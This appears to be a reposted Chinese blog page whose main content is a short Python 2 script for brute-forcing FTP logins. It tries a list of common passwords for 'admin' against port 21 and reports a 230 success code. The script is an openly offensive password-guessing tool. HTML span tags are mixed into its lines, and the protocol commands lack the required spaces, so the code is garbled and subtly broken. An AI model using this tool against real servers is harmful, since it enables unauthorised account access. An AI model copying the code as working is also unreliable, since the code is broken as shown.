#!/usr/bin/env python
#-*-coding:utf-8-*-
#用Python实现FTP暴力破解
#网络编程
#套接字socket
#BSD UNIX的进程通信机制
import socket,sys
def Connect(username,password):
<span style="white-space:pre"> </span>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #流失socket for TCP
<span style="white-space:pre"> </span>print"[*]Tring"+username+":"+password
<span style="white-space:pre"> </span>s.connect(("127.0.0.1",21))
<span style="white-space:pre"> </span>data=s.recv(1024)
<span style="white-space:pre"> </span>s.send('USER'+username+'\r\n')
<span style="white-space:pre"> </span>data=s.recv(1024)
<span style="white-space:pre"> </span>s.send('PASS'+password+'\r\n')
<span style="white-space:pre"> </span>data=s.recv(3) #3个字节
<span style="white-space:pre"> </span>s.send('QUIT\r\n') #断开
<span style="white-space:pre"> </span>s.close()
<span style="white-space:pre"> </span>return data
if __name__=='__main__':
<span style="white-space:pre"> </span>username="admin"
<span style="white-space:pre"> </span>passwords=["admin","123456","root","admin123","guest","5201314","toor"]
<span style="white-space:pre"> </span>for password in passwords:
<span style="white-space:pre"> </span>attempt=Connect(username,password)
<span style="white-space:pre"> </span>if attempt=="230":
<span style="white-space:pre"> </span>print "[*]password fund:"+password
<span style="white-space:pre"> </span>sys.exit(0)
用Python实现FTP暴力破解
转载
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
防暴力破解
包:lucene-analyzers-3.6.1.jarlucene-core-3.6.1.jarlucene-highlighter-3.6.1.jar
lucene apache System -
防暴力破解DenyHosts
DenyHosts是用于阻止SSH服务器暴力破解攻击的的脚本,由python编写。
运维 .net python 用户登陆